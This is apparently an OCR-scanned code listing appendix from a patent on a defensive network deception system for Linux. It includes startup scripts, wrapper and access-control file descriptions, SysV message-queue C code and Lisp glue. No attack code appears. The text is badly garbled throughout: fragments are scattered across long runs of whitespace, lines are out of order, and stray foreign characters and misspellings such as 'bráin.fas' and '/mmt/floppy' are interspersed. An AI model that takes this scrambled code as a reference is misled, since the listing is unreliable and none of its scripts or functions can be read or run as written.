                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       def-c-call-out qget
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (def-c-call-out qinit (:return-type int))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        (export 'qdestroy)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (export
                                                                                                                                                                                                                                                        syscal11(long,ad,int,foo); */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 -s ../qfunc.o qfunc.o
                                                                                                                                       char mtext[_MSG_SIZE_];
                                                                                                                                                                int32_t opcode;
                                                                                                                                                                                        (int mtype;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            'qsnd)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 'gget
                                                                                                                                                                                                                                                                                                                             <errno.h>
                                                                                                                                                                                                                                                                                NR_ad 0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (:arguments (code int)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (:return-type c-string))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SysV queues,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (msg
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             call-qfunc.lisp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                c-string) )(:return-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              and to get&send
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               δ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  -i call-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ሷ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                data
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       :
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          :
                     B="brain.lisp";
                                                                                                                                                                                                                                                                                                                                                                                                                int qdestroy() {return(msgctl(qid,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 char * qget()
{FILE * f;
                                                                    if test -f bráin.fas
                                                                                      // # File run]
                                                                                                                   }/*EOF*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   int qsnd(int32_t code, char *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               msgbuf),
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         qmsg.mtext);
                                                                                                                                                                                                                                                                                                                                                                                            /*int main(int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         printf("getting\n");
                                           then if test brain.lisp
                                                                                                                                     return 0;
                                                                                                                                                            qdestroy();
                                                                                                                                                                                                                                                                                                    qinit();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   qmsg.opcode=code;memcpy(qmsg.mtext, msg,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     while(1)
                                                                                                                                                                                                                                                                                                                         char msg[_MSG_SIZE_]="";
                                                                                                                                                                                                                                                                              while(1)
                                                                                                                                                                                                                                                                                                                                                 int code=0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                             return(msgsnd(qid, &qmsg, sizeof(struct msgbuf), IPC_NOWAIT));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          [printf("Sending\n");
B="brain.lisp";fi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if(qmsg.mtype>65535||qmsg.mtype<0) continue
                                                                                                                                                                                                          qsnd(42, "10.0.0.123");
                                                                                                                                                                                                                               qget(&code, msg);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            printf("pid=%d, code=%d, string=%s\n", qmsg.mtype,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 msgrcv(qid, &qmsg, sizeof(struct msgbuf),
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        msgrcv(qid,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    return qmsg.mtext;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (qmsg.mtype==1)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           printf("got a message\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                IPC_NOWAIT);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       msgsnd(qid,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    qmsg.mtype=qmsg.opcode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 memcpy (msg,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    printf("its for me!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          //set mtype
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       //if(errno!=EAGAIN) continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         //ad(qmsg.opcode);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    //if(errno==EAGAIN)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /ad(qmsg.mtype);
                                                                                                                                                                                                                                                                                                                                                                                          argc,
                       fi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   &cmsg, sizeof(struct msgbuf),
                                                                                                                                                                                                                                                                                                                                                                                            char**argv)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       , gsurpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               qmsg.mtext, _MSG_SIZE_);
                                           -ot brain.fas; then B="brain.fas";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       sizeof(struct msgbuf), IPC_NOWAIT);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  msg)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               msgsnd(qid,
                                                                                                                                                                                                                                                                                                                                                                                                                IPC_RMID, NULL));)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  , gsmpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     _MSG_SIZE_);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 1,0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sizeof (struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 MSG_NOERROR)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       MSG_NOERROR);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            qmsg.opcode
                                           else
```

```
Program Code Listing Appendix (Paper Duplicate of Compact Disc File Cohen_et_al.txt)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           echo "$B"
                                  පි
                                                       2>/dev/null&
                                                                                          ဌ
                                                                                                            g
                                                                                                                                                                                                                                                                                                                                              mkdir /root/.ssh/
                                                                                                                                                                                                                                                                                                                                                              cp -af /mnt/floppy/ssh /etc
                                                                                                                                                                                                                                                                                                                                                                                                                                                             deception mechanism begins to
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   specific embodiments of the present
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     distribution using deception kernel modifications according
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NEW_LIBS="$file_list"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          INCLUDES="$absolute_linkkitdir"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             make clisp-module CC="$(CC)" CFLAGS="$(CFLAGS)"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if test -r call-qfunc.c; then
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         mod_list='
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              file_list='qfunc.o'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if test 2$0 = Z
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               export B
දි
                cp -f /mmt/floppy/brainwrap /root/wrap
This is the "PLAC.go" startup file for
                                                                                                                               cd base+q2lisp
                                                                                                                                                                                                                                                                                    webser /cdrom-real/www
                                                                                                                                                                                                                                                                                                                          cp -f /mnt/floppy/known_hosts
                                                                                                                                                                                                                                                                                                                                                                                                                                         operate at system startup.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        running the "White Glove" Linux
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 TO_LOAD='
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   NEW_MODULES="$mod_list"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               // # File thingtofix
                                                                                                                                                                                                            # new for brains
                                                                                                                                                                                                                          #cp -f /mnt/floppy/wrapSSH.demo
                                                                                                                                                                                                                                                                  ifconfig eth0 10.0.30.1
                                                                                                                                                                                                                                                                                                      service sshd start
                                                                                                                                                                                                                                                                                                                                                                                                  redirects unauthorized programs
                                                                                                                                                                                                                                                                                                                                                                                                                         for a network deception that
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         NEW_FILES="$file_list"
                                                                        ./lisp.run -M lispinit.mem -i
                                                                                                                                                   chmod 700 maker;./maker
                                                                                                                                                                                                                                               #rm -rf /root/Trojan
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  invention.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /* These
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               '* PLAC.go file 1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 mod_list="$mod_list"' call_qfunc'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     file_list="$file_list"' call-qfunc.o'
                                                                                                                                                                                       -af /mnt/floppy/q2lisp /tmp/q2lisp
-af /mnt/floppy/ssh /etc
                                                                                                                                                                       /tmp/q2lisp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /usr/local/lib/clisp/base/qlisp/lisp.run -q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /usr/local/lib/clisp/base/qlisp/lisp.run -q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          then
                                                                                        /mnt/floppy/allowed.lisp
                                                                                                            /mnt/floppy/brain.l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   -M /usr/local/lib/clisp/base/qlisp/lispinit.mem
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               -i call-qfunc -i $B -x '(in-package "QLISP")'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      -M /usr/local/lib/clisp/base/qlisp/lispinit.mem
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    call-qfunc -i $B $*
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            'PLAC.go' files perform automated startup of computers
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 These CD-based systems use these startup files so that the
                                                                                                                                                                                                                                                                                                                                                                                                                                            The
                                                                                                                                                                                                                                                                                                                            /root/.ssh
                                                                         q2lisp.fas
                                                                                                                                                                                                                                                                                                                                                                                                                                            ż
                                                                                                                                                                                                                                                                                                                                                                                                     to a secondary machine
                                                                                                                                                                                                                             /root/wrap
                                                                                                                                                                                                                                                                                                                                                                                                                                           an example
                the recipient
                                                                         <u>ا</u>ـ
                                                                         brain.1 >
                                                                                                                                                                                                                                                                                                                                                                                                                                         "PLAC.go"
                  system:
                                                                         /dev/null
                                                                                                                                                                                                                                                                                                                                                                                                       for execution
                                                                                                                                                                                                                                                                                                                                                                                                                                            startup
                                                                                                                                                                                                                                                                                                                                                                                                                                            file
                                                                                                                                                                                                                                                                                                                                              AC.h
                                                                                                                                                                                                                                                                                                                                                                AC.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              File name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          single wrapper module will typically have several
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              after first making sure that it is not calling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           different functions that can be performed by a wrapper are described
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    of the present invention .
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          webser /cdrom-real/www
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              cp -f known_hosts
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  mkdir /root/.ssh/
                                                                                                                                                                                                                                                PL.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   wrapnull.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wrapper.h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      may be
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        code files below and in various
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        illustrated by the sample wrapXX.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               understood for the teachings herein that a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     original exec with the original arguments,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         and enabled as different wrapXX.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                the other files.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 file is named on a line starting with '#'.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           associated with an example
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            The following includes all
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   rm -rf /root/Trojan/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     ifconfig eth0 10.0.30.2
                                                                                          wrapNPS.c.
                                                                                                            wrapSSH.c
                                                                                                                                                   wrapPLlog.c
                                                                                                                                                                                                                                                                                      PLACextract
                                                                                                                                                                                                                                                                                                                          wrapAC.c
                                                                                                                                                                                                                                                                                                                                                                                   Control
                                                                                                                                                                                                                                                                                                                                                                                                     ACextract
                                                                                                                                                                                                                                                                                                                                                                                                                                         wraplog.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                             log2.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     file.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      implementation of wrapper technology according to
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               /* Example Wrapper files
                Dextract
                                                    wrapIPC.c
                                                                                                                                                                       wrapPL.c
                                                                                                                                                                                       PLACextract)
                                                                                                                                                                                                           PLAC.h
                                                                                                                                                                                                                             PLAC.c
                                                                                                                                                                                                                                                                  Access
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 log.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                // # File README
for D.h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    encoded in a single code
                                                                                                                                                                                                                                                                  Control
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       In this case, for example, wrapnull.c simply calls the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                               logging and depth calculation support
                                                                                                                                                                                                                                               Process lineage generation and logging functions
                                                                                                                                                                                                                                                                                                                                           Access Control table (autogen with ACextract)
                                                                                                                                                                                                                                                                                                                                                             Access Control
                                                                                                                                                                  Process Lineage wrapper
               Extract depths from wraplog
                                                                                                                                                                                                        Process Lineage Access Control table (autogen with
                                                                                                                                                                                                                             Process
                                                                                                                                                                                                                                                                                                                         Access Control wrapper
                                                                                                                                                                                                                                                                                                                                                                                                                                                             old logging - kept
                                                                                                                                                                                                                                                                                cat /dev/wraplog | ACextract > PLAC.h to
                                                                                                                                                 Process Lineage logger (for use in making PLAC.h)
                                                                                                                                                                                                                                                                                                                                                                                                    cat /dev/wraplog | ACextract >
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   null wrapper - default install
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       header file for all wrapper programs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Description
                                                                                                            SSH wrapper for 2-system deception
                                                                                                                                                                                                                                                                                                                                                                                                                                         logging wrapper
                                                    IPC wrapper program
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                In this example code,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /root/.ssh
                                                                                          wrapper program
                                                                                                                                                                                                                           Lineage
                                                                                                                                                                                                                                                                                                                                                              functions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          of the programs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Each
                                                                                                                                                                                                                             Access
                                                                                                                                                                                                                                                                                                                                                                                                                                                              Ħ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      implementations, all or most functions
                                                                                                                                                                                                                                                                                                                                                                                                                                                             case
                                                                                                                                                                                                                             Control
                                                                                           (AC
                                                                                        + depth limit)
                (cat /root/wraplog | Dextract)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  The
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             and build information
                                                                                                                                                                                                                             function
                                                                                                                                                                                                                                                                                                                                                                                                     AC.h to
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  README
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 itself.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      specific embodiments
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             of the functions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            file describes
                                                                                                                                                                                                                                                                                                                                                                                                     build Access
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   H
                                                                                                                                                                                                                                                                                    build
```

79

wi 11

å

```
D.c
                          #include "D.h"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       echo
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       echo
/* Runs through list of allowed programs: 1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      NPSwrap.h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        argcount
                                            /* Process Lineage
                                                                                                      \"$a\" commands)
                                                                                                                               grep '^/' | sed 's:;:
                                                                                                                                                 echo "(setq commands (make-hash-table :test
                                                                                                                                                                                               echo -n $#
                                                                                                                                                                                                                                                                                                                                              "/usr/bin/du",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        char *ALLOWED[]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  echo '};'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         noreps.pl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 sort
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               forgive them
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (getpid() < SYSPROCTHRESH)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       return(1);]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            strlen(filename)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           for (i = 0; ALLOWED[i]; i++) {if (! strncmp(filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 else 0 */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       stuff.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   wrapD.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wrapPLACD.c
                                                                                  allowed) "; done | sort | noreps.pl
                                                                                                                                                                       // # File BACextract
                                                                                                                                                                                                              // # File argcount
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         // # File ACextract
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         int ACallowed(char *filename)
                                                                                                                                                                                                                                                           '/usr/local/bin/me"
                                                                                                                                                                                                                                                                               '/usr/bin/tail"
                                                                                                                                                                                                                                                                                                                                                                                                                                 /bin/cp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               // # File AC.h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (int i;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   /* Runs through list of allowed programs: 1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        finclude "AC.h"
                                                                                                                                                                                                                                                                                                                       /usr/bin/find"
                                                                                                                                                                                                                                                                                                                                                                /usr/bin/date",
                                                                                                                                                                                                                                                                                                                                                                                                                                                    /bin/df"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            /* Access Control */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                // # File AC.c
                                                                                                                                                                                                                                                                                                    /usr/bin/sort",
                                                                                                                                                                                                                                                                                                                                                                                                           /bin/ps*,
                                                                                                                                                                                                                                                                                                                                                                                       /bin/sh"
                                                                   # File D.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               '^/' | sed 's:;:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       'char *ALLOWED[] =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       '"/sbin/init"'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           Depth assignments for pathname,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Depth control functions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     and Depth as controls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                OLD - not necessary for a present embodiment
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   Counts arguments (echo $#) in support of Dextract
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Wrapper with exact depth as control
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Wrapper combining Process Lineage, Access Control,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         OLD -
                                            Access Control */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        not necessary
                                                                                                                             :g
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 9
                                                                                                                            | while read a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | while read
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return(1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        for a present embodiment
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 ,
D
                                                                                                                             à
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 õ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         depth pairs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            /* system processes
   if 'filename'
                                                                                                                               g
                                                                                                                                                 'equal))"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 g
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if 'filename'
                                                                                                                        echo "(setf (gethash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               echo "\"$a\",";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ALLOWED[i],
 9
